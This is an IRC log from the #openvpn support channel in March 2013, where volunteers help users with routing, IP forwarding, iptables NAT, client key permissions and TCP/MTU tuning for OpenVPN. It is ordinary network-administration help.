06:26 < cippaciong> yes
06:26 < cippaciong> is archlinux-arm
06:26 < cippaciong> running on raspberry
06:26 < pppingme> there's a file /etc/sysctl.conf
06:27 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
06:27 < pppingme> there's probably a line in it that says net.ipv4.ip_forward
06:27 < pppingme> does it end with =0 or =1 ?
06:27 < cippaciong> 0
06:27 < pppingme> ok, change that to 1..
06:27 < cippaciong> ok
06:28 < cippaciong> are this settings global?
06:28 < pppingme> then run sysctl -p
06:28 < pppingme> for that box, yeah
06:28 < cippaciong> because I use netcfg to connect to the network
06:28 < cippaciong> an archlinux tool
06:28 < pppingme> otherwise you won't be able to see other hosts on the network
06:28 < pppingme> netcfg won't touch that setting
06:28 < cippaciong> ok
06:28 < pppingme> at least not the last version I saw..
06:29 < cippaciong> done
06:29 < pppingme> ok, one last detail, in your server.conf or whatever you called it (the openvpn.conf file) add a line that says:
06:30 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
06:30 < pppingme> push route 10.8.10.0 255.255.255.0
06:31 < pppingme> after that, everything should be routable
06:31 < pppingme> (unless you have some firewall rules on your vpn server thats barfing it)
06:32 < cippaciong> no, I'm using the router built in firewall
06:32 < cippaciong> I already had that line
06:32 < cippaciong> push "route 10.8.10.0 255.255.255.0"
06:32 < pppingme> that works..
06:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:33 < cippaciong> so this should be all, right?
06:33 < pppingme> then you're done..  now test..  a vpn client should get a 10.8.0.x ip and should be able to ping anything on the 10.8.10.x network
06:33 < pppingme> yep
06:33 < cippaciong> can I test it in the same network?
06:34 < pppingme> not a good idea, test from outside if you can
06:34 < cippaciong> let's try then =)
06:34 < cippaciong> oh ok
06:34 < pppingme> the reason is the same as why I told you its a bad idea to leave your base network at 192.168.0.x
06:35 < cippaciong> ok then
06:35 < cippaciong> I'll try on another network
06:35 < cippaciong> well..
06:36 < cippaciong> thanks a lot pppingme, really
06:36 < cippaciong> this afternoon I'll test it and then I'll let you know :D
06:43 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has joined #openvpn
07:08 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Saliendo]
07:09 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
07:09 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
07:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
07:16 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
07:20 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:57 -!- xbanux [~xbanux@triband-mum-59.182.133.84.mtnl.net.in] has quit [Read error: Connection reset by peer]
07:58 -!- xbanux [~xbanux@triband-mum-59.182.157.239.mtnl.net.in] has joined #openvpn
08:07 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
08:08 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
08:12 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
08:14 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:16 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:18 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
08:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
08:26 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
08:26 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
08:26 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:27  * pyrobisqit is back (gone 00:07:04)
08:38 -!- cippacio1 [~cippacion@ppp-108-13.21-151.libero.it] has joined #openvpn
08:39 < cippacio1> pppingme: routing works perfectly
08:39 < cippacio1> thank you
08:40 < cippacio1> I'm on another network and I can ping the server with both 10.8.0.1 and 10.8.10.9
08:41 < cippacio1> next step is connecting to the samba share ;)
08:47 -!- erry [erry@freenode/staff/erry] has left #openvpn []
08:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
08:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:08 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 245 seconds]
09:35 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Quit: Leaving...]
09:36 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:59 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
10:01 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
10:02 < cippacio1> what should be the correct owner and permissions for a client.key?
10:02 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
10:03 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:04 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Client Quit]
10:05 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
10:12 -!- Cpt-Oblivious|af [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:30 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:35 -!- epochwolf [~root@unaffiliated/epochwolf] has left #openvpn ["Textual IRC Client: http://www.textualapp.com/"]
10:38 -!- xbanux [~xbanux@triband-mum-59.182.157.239.mtnl.net.in] has quit [Read error: Connection reset by peer]
10:38 -!- xbanux [~xbanux@triband-mum-59.182.131.162.mtnl.net.in] has joined #openvpn
10:41 < dropje> cippacio1: client.key should only be available to the client
10:43 < cippacio1> dropje: ok, but talking about linux clients
10:44 < cippacio1> should it be owned by root or by normal user?
11:02 -!- raidz_away is now known as raidz
11:02 < dropje> cippacio1: you need to run the openvpn binary initially as root, so i think only root needs to be able to read it
11:03 <@EugeneKay> Technically not, but it's a good simplification
11:03 <@EugeneKay> You need to be able to run it as a user allowed to control the tun/tap device and use `ip` ;-)
11:04 < cippacio1> I'm asking because I'd like to try to use the NetworkManager gui to connect to the VPN
11:05 < cippacio1> but if the client.key is owned by root then I can't select it when aske
11:08 < cippacio1> if I change the owner of the key to my default user, do I break security?
11:10 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
11:11 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
11:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
11:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:20 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Ping timeout: 258 seconds]
11:20 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
11:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
11:27 -!- cippacio1 [~cippacion@ppp-108-13.21-151.libero.it] has quit [Ping timeout: 256 seconds]
11:28 -!- cippacio1 [~cippacion@95.236.151.104] has joined #openvpn
11:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
11:34 -!- cippacio1 [~cippacion@95.236.151.104] has quit [Quit: WeeChat 0.4.0]
12:00 -!- dazo is now known as dazo_afk
12:03 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:12 -!- speed_racer8 [~speed_rac@h4.185.30.71.dynamic.ip.windstream.net] has joined #openvpn
12:12 -!- benkay [~benkay@67.50.19.230] has joined #openvpn
12:21 < benkay> so I'm looking at the redirect flow
12:21 < benkay> er, troubleshooting diagram
12:21 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Ping timeout: 272 seconds]
12:21 < benkay> this assumes that I'm connected to the vpn while running these tests, correct?
12:31 -!- Orbi [~opera@anon-163-206.vpn.ipredator.se] has quit [Quit: Orbi]
12:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:43 -!- cippaciong [~cippacion@95.236.151.104] has quit [Quit: WeeChat 0.4.0]
12:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
12:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:55 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has joined #openvpn
12:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:00 -!- Cpt-Oblivious|af is now known as Cpt-Oblivious
13:08 -!- p3rror [~mezgani@41.248.139.241] has joined #openvpn
13:14 -!- benkay [~benkay@67.50.19.230] has quit [Quit: benkay]
13:23 <@EugeneKay> Yes
13:24 < rob0> No!
13:28 -!- p3rror [~mezgani@41.248.139.241] has quit [Quit: Leaving]
13:29 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
13:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:30 <@krzee> CPU: Intel Core i7-3740QM 2.70GHz @ 2.7GHz [SSE3/SSSE3/SSE4.1/SSE4.2/x86_64/PAE/XD/VT/EST/OctaCore] L3: 6MB QPI: 0.1 GT/s RAM: 7.1GB/16.0GB swap: 3338.96M/4096.00M Disk: 48.22GB/465.48GB GPU: Intel HD Graphics 4000 & NVIDIA GeForce GT 650M [512 MB & 1024 MB/Stock] 2880X1800 OS: Mac OS X 10.8.3 (12D78) Kernel: 12.3.0 Arch: 64 Bit
13:31 <@EugeneKay> Always so negative
13:31  * EugeneKay cries
13:32 <@krzee> this thing is a beast
13:34 <@EugeneKay> I've been eyeballing the new Dell XPS 13
13:36 -!- js_ [~js@li503-152.members.linode.com] has quit [Ping timeout: 255 seconds]
13:36 -!- js_ [~js@li503-152.members.linode.com] has joined #openvpn
13:41 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 256 seconds]
13:43 <@EugeneKay> I tihnk I'm gonna wait for the next gen of "Ultrabooks" though. Intel specs for them mandate a 9 hour battery life, and touchscreen.
13:44 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
14:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:04 -!- mode/#openvpn [+o mattock] by ChanServ
14:06 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:23 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off]
14:23 -!- xbanux [~xbanux@triband-mum-59.182.131.162.mtnl.net.in] has quit [Ping timeout: 264 seconds]
14:33 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:46 -!- djgerm [~Adium@75-149-56-244-SFBA.hfc.comcastbusiness.net] has joined #openvpn
14:47 < djgerm> Heya! I was wondering if anyone knows how to set the client source IP for openvpn in the client's config
14:47 < djgerm> i have multiple ip's per interface on my client, and I want to specify openvpn client to bind to a particular ip
14:48 < djgerm> like the "local" options for the server side
14:50 < pekster> djgerm: Use the --local option, just as you would on the server side, to specify the bind IP. Note that use of --port implies --lport. Change this yourself if the default is not what you want
14:51 < djgerm> thanks!
14:51 <@krzee> you may also need something in your firewall
14:51 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
14:51 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:52 < djgerm> thanks, I'll keep that in mind.
14:53 < djgerm> those dang firewalls, always causing trouble
14:54 < djgerm> i have nobind in that client config, should i take that out?
14:54 < djgerm> or that specifically for local port binding?
14:54 < pekster> Yup. local and nobind are incompatible
14:55 < djgerm> ok, makes sense
14:55 < pekster> --nobind pushes back to the OS to dynamically allocate an IP/port to sourceo the connection from. You give that feature up when you use either
14:55 <@krzee> bbl, ups dying and power out
14:56 <@krzee> (connection reset by 3rd world dsl)
14:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
15:01 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 252 seconds]
15:06 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
15:18 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
15:20 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has joined #openvpn
15:20 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
15:20 -!- Denial- is now known as Denial
15:29 -!- speed_racer8 [~speed_rac@h4.185.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 272 seconds]
15:35 -!- tcamuso_ [tcamuso@nat/redhat/x-hljszfqzgrogsjjn] has quit [Ping timeout: 255 seconds]
15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:49 -!- mode/#openvpn [+o krzee] by ChanServ
15:55 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
15:57 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
16:09 -!- penk [~dave@pool-100-0-131-24.bstnma.east.verizon.net] has quit [Quit: Linkinus - http://linkinus.com]
16:11 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
16:20 -!- master_of_master [~master_of@p4FF24672.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
16:22 -!- master_of_master [~master_of@p4FF24D8B.dip.t-dialin.net] has joined #openvpn
16:30 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
16:37 -!- djgerm [~Adium@75-149-56-244-SFBA.hfc.comcastbusiness.net] has left #openvpn []
16:51 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:03 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
17:05 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
17:13 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
17:21 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:22 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
17:23 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:33 -!- JSharpe [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has quit [Read error: Connection reset by peer]
17:33 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:33 -!- JSharpe [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has joined #openvpn
17:35 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
17:39 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
17:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:02 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has quit [Quit: nonotza]
18:02 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
18:03 < jzaw> lol pekster does reading and talking about a thing make it start to exhibit
18:03 < jzaw> suddenly i had tx problems over ssh over vpn ... tcp-nodelay helps .... but still not as good as yesterday
18:03 < jzaw> self prophetic eh
18:18 -!- SuperGauntlet [~supergaun@d14-69-67-219.try.wideopenwest.com] has joined #openvpn
18:19 < SuperGauntlet> quick question, do I need to specify proto tcp in client.conf if I'm connecting to a TCP server or is it automatic?
18:19 < Poster> you need to specify, default is UDP
18:19 < SuperGauntlet> so just do proto tcp in client.conf?
18:20 <@krzee> !tcp
18:20 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
18:21 < SuperGauntlet> Does that go in server.conf?
18:21 <@krzee> both confs must be on tcp
18:21 < SuperGauntlet> right, but the tcp-nodelay option is in server.conf correct?
18:23 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:28 <@krzee> The macro expands as follows:
18:28 <@krzee>                    if mode server:
18:28 <@krzee>                      socket-flags TCP_NODELAY
18:28 <@krzee>                      push "socket-flags TCP_NODELAY"
18:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
18:51 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
18:58 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
19:01 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
19:15 -!- tcamuso_ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has joined #openvpn
19:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
19:30 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 255 seconds]
19:31 -!- raidz is now known as raidz_away
19:32 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
19:43 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  I love my HydraIRC -> http://www.hydrairc.com <-]
19:47 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:47 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
19:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
20:04 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
20:15 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
21:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:20 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
21:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
21:49 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
21:51 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
21:53 -!- penk [~dave@216.142.113.243] has joined #openvpn
22:02 -!- dfoolz [~Anon@94.75.239.204] has joined #openvpn
22:02 < dfoolz> hello. anyone feel like offering some assistance? I've got openvpn server setup and connected with a windows client, but can't seem to figure out how to actually tunnel any of my traffic through the vpn connection.
22:04 < dfoolz> I see the TAP adapter is connected under LAN2, but it says there is no network access on the connection and there are very few packets being sent/received
22:04 < dfoolz> tracerout on the ip im assigned on client takes me nowhere :/
22:05 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
22:05 < dfoolz> openvpn.log is just showing: Need IPv6 code in mroute_extract_addr_from_packet
22:15 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
22:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:17 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
22:17 -!- dfoolz [~Anon@94.75.239.204] has quit [Ping timeout: 245 seconds]
22:21 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
22:37 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
22:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
22:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:40 -!- penk [~dave@216.142.113.243] has quit [Quit: Leaving...]
23:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
23:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:34 -!- TORcruzer [~TORcruzer@gateway/tor-sasl/torcruzer] has joined #openvpn
23:36 < TORcruzer> UDP on Linux, I can Ping, DNS, Even 'short' http requests. However, any real website like google drops off after first GET request. This happens on both TUN and TAP. Any ideas?
23:36 < Poster> are you allowing ICMP across the link?
23:38 < Poster> my guess is that you're needing fragmentation for larger requests, remember your MTU is going to be smaller on a VPN link due to encryption overhead
23:42 < TORcruzer> I am fairly sure I am. I know Ping request go though. Is there a specific ICMP type that you think may be killing the connection? --- Shoot, I can't find the page now, but I did try setting the mssfixed and mss 1300 (I think) and mtu 1500... Same problem
23:44 < TORcruzer> TCP no problem at all. However my ISP RoadRunner dose Traffic shapping on many IP ranges. My VPS is one of them. The max speed Road Runner will let any single TCP connect run at is 3Mb/s. iperf shows that I get can get 10Mb/s with UDP
23:45 < TORcruzer> Question: Is this Legal in the USA ? Selective IP/Domain rate limiting?
23:45 < Poster> is your UDP connection on port 53?
23:46 < Poster> the ICMP type I was going to suggest watching for is fragmentation needed
23:46 < TORcruzer> I ran iperf over port 5001 UDP. 10Mb/s TCP on any port is caped at 3Mb/s
23:46 < Poster> how many threads did you use to get 10Mb/s ?
23:47 < TORcruzer> iperf defualt settings with the -u ...
23:47 < Poster> a 10Mb connection is not likely going to see 10Mb on a single transfer ; you really need to have multiples to see the speed
23:47 < Poster> which you probably did with iperf
23:48 < Poster> there's latency and possibly packet loss which neither of which generally exist on a LAN
23:48 < TORcruzer> Well, I can download a file from my HTTP server... Caped at 3Mb/s  Kernel.org HTTP 10Mb/s
23:48 -!- Anonmoose_ [~Anon@94.75.243.165] has joined #openvpn
23:48 < Anonmoose_> okay so I'm connected and the dns requests seem to be going through openvpn on the server
23:49 < Anonmoose_> but nothing will load beyond that :c
23:49 < Anonmoose_> i think it has to do with the nat forwarding in iptables, but im not sure how to fix it :/
23:49 < TORcruzer> 7Mb/s seems a little much for TCP overhead ?
23:49 < Poster> ok well that's pretty good ; can others get more than 3Mb/s from your HTTP server?
23:49 < TORcruzer> Not all domains are rate limited. Like Kernel.org is not.
23:50 < TORcruzer> Yes, I can transfer at 50Mb/s to my other server
23:50 < TORcruzer> Like server to server
23:50 < Poster> are they near eachother?
23:51 < TORcruzer> Yes, On is NL other in Germany. Both VPS's
23:51 < Poster> ok and what is your download speed from your other server?
23:51 < TORcruzer> 8Mb/s
23:52 < Poster> do they share common routes to you?
23:52 < TORcruzer> That I do not know. However, they are diffrinet VPS hosting providers
23:53 < Poster> from what I can tell kernel.org is west coast USA and your VPS are in Europe
23:53 < TORcruzer> Yes
23:53 < Poster> not sure where you are but I am guessing you're getting higher latency to Europe
23:53 < TORcruzer> Yes, I latency, but through put should not be effected that much
23:54 < TORcruzer> ... correction Yes, High latency
23:54 < Poster> you might be surprised
23:55 < TORcruzer> I'll try downloading from a linux mirror in NL ...
23:56 < Poster> Anonmoose_: are you trying to route all traffic across your link?
23:57 < Anonmoose_> Poster: Yep.
23:57 < Anonmoose_> All my local traffic (apart from some ssh tunnels) seem to be going through the VPN, and I can see the dns requests hitting the remote vpn in wireshark, however, nothing works beyond that.
23:58 < Poster> ok did you setup your VPN link to become the default gateway?
23:58 < Anonmoose_> with this in the client config? redirect-gateway def1
23:59 < Anonmoose_> that does seem to be doing the trick of forwarding all local traffic (apart from my ssh tunnels, which stay connected like normal)
23:59 < Poster> ok so what OS is the remote side?
23:59 < Anonmoose_> debian
23:59 < Poster> ok have you enabled IP forwarding?
--- Day changed Sat Mar 23 2013
00:00 < Anonmoose_> through iptables? I tried, but I'm pretty nub at it and I'm sure it's not properly configured
00:00 < Poster> ok first try this
00:00 < Poster> cat /proc/sys/net/ipv4/ip_forward
00:00 < Poster> does it return a 0 or 1 ?
00:01 < Anonmoose_> 1. I did get that done :)
00:01 <@EugeneKay> !linipforward
00:01 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
00:01 < Poster> ok so from your VPN client, try to ping the public IP of the Debian host
00:01 < Poster> and watch to see the traffic across wireshark
00:02 < Anonmoose_> oooh that does seem to bee connecting :)
00:02 < Poster> ok and when you try to ping other sites on the Internet, is that failing?
00:02 < Anonmoose_> yep, after the dns request it just times out
00:02 < Anonmoose_> but I do see it in wireshark hitting the remote servers dns
00:02 < Poster> ok on you Debian host, assuming your public adapter is eth0, type this
00:03 < Poster> sudo /sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
00:03 < Poster> then retry pinging a remote host on the Internet from your VPN client
00:03 < Anonmoose_> hmmm still just timing out
00:04 < Anonmoose_> I wonder if it could be the dns server failing.
00:04 < Poster> is eth0 your public interface?
00:04 < Anonmoose_> actually I dont think so because I cant access IP's directly either
00:04 < Anonmoose_> yeah it is
00:04 < Poster> ok, try a traceroute to the Debian public IP
00:04 < Poster> does it traverse the VPN?
00:06 < Anonmoose_> hmmm
00:06 < Anonmoose_> oddly enough it took the regular route through my isp to the remote server
00:06 < Anonmoose_> going very slow too
00:07 < Poster> ok doesn't sound like the client is routing all traffic to the VPN system
00:07 < Anonmoose_> yeah it took a long time but it finally made it to the remote ip
00:07 < Anonmoose_> hmmmm
00:07 < Poster> can you ping the other side of the VPN tunnel by it's (presumably private) IP address?
00:08 < Anonmoose_> yep, the ip it assigned (10.8.0.6) is responding to pings
00:08 < Poster> ok what is the client OS?
00:08 < Anonmoose_> doze :x
00:08 < Poster> ok try this ; start -> run -> cmd
00:08 < Poster> route add 8.8.8.8 mask 255.255.255.255 10.8.0.6
00:08 < Poster> then try to ping 8.8.8.8
00:09 < Anonmoose_> OK!
00:09 < TORcruzer> Poster: Hum... Okay so I guess you are right, they may be trafic shaping but that is not proof... I'll drop that.
00:09 < Poster> TORcruzer; unfortunately latency does nasty things to bandwidth =[
00:09 < Anonmoose_> hmm reply from 10.8.0.6: Destination host unreachable
00:10 < Poster> ok is the Debian host running iptables?
00:10 < Poster> aside from what I suggested you add earlier
00:11 < Anonmoose_> yep
00:12 < Poster> ok, based on what you're reporting, there is likely an iptables rule on FORWARD which is rejecting forwarding of packets
00:12 < Anonmoose_> is there a way I can list the ones currently active?
00:12 < Poster> yep ;
00:12 < Poster> sudo iptables -L -n
00:12 < Poster> will show the filter table
00:12 < Anonmoose_> hmm
00:12 < Anonmoose_> Chain INPUT (policy ACCEPT)
00:12 < Anonmoose_> target     prot opt source               destination
00:12 < Anonmoose_> Chain FORWARD (policy ACCEPT)
00:12 < Anonmoose_> target     prot opt source               destination
00:12 < Anonmoose_> Chain OUTPUT (policy ACCEPT)
00:12 < Anonmoose_> target     prot opt source               destination
00:12 < Anonmoose_> that's it :/
00:12 < Poster> bummer
00:13 < Poster> ok and just to confirm, if you type ifconfig on your Debian host, you see 10.8.0.6 on a tap/tun adapter?
00:13 < Anonmoose_> yup
